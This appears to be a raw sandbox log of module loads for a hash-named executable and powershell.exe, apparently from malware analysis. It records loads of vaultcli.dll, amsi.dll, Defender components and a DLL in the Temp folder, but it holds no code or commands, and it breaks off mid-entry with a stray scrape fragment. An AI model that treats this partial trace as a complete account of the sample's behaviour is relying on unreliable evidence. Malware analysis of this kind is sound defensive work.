"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\crypt32.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "C:\vaultcli.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:ffffffffc0000135] "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:ffffffffc0000135]36:T6c3d,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "KERNEL32" at base 74d80000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 750c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 750c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 750c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 77350000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 750c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 750c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 750c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72fd0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "ADVAPI32.DLL" at base 755b0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72ea0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "SHLWAPI.DLL" at base 75560000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 76f10000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "VERSION.DLL" at base 73ac0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 726f0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "USER32.DLL" at base 74380000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 750c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "MSCOREE.DLL" at base 71970000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 76cc0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "PSAPI.DLL" at base 76bc0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "RPCRT4.DLL" at base 75340000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "KERNEL32.DLL" at base 74d80000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70120000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "OLE32.DLL" at base 74280000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73850000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 76cc0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 750c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72590000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 71b30000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "UXTHEME.DLL" at base 73850000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6f900000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 71a20000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f180000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "NTDLL.DLL" at base 77380000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "SHELL32.DLL" at base 75630000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "BCRYPT.DLL" at base 73120000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 719f0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "IMM32.DLL" at base 77350000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "COMCTL32.DLL" at base 71710000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "GDI32.DLL" at base 74e50000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "GDIPLUS.DLL" at base 73ae0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 73ae0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 750c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "WINDOWSCODECS.DLL" at base 717a0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "WLDP.DLL" at base 719d0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "AMSI.DLL" at base 71700000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73ac0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 716b0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6ee60000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 74d80000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "USERENV.DLL" at base 716d0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 755b0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "NTDLL" at base 77380000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6eb00000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 6e820000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 746c0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 732f0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 6e710000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 75630000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 74d80000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 73690000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "MSISO.DLL" at base 6e6b0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "SSPICLI.DLL" at base 73da0000 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 750c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 750c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 750c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 750c0000 "powershell.exe" loaded module "KERNEL32" at base 74d80000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72fd0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 755b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72ea0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 75560000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 76f10000 "powershell.exe" loaded module "VERSION.DLL" at base 73ac0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 726f0000 "powershell.exe" loaded module "USER32.DLL" at base 74380000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 750c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 71970000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 76cc0000 "powershell.exe" loaded module "PSAPI.DLL" at base 76bc0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 75340000 "powershell.exe" loaded module "KERNEL32.DLL" at base 74d80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70120000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 74280000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 76cc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 73e40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 719f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76c60000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 750c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72590000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 71b30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6f900000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 76cc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 76cc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 77380000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 75630000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 74510000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f180000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 74510000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 76a30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "CRYPT32.DLL" at base 76a30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 6f060000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73ac0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 6f010000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 6ef90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6eb10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 76cc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6eac0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 71a20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 6eab0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 73da0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module 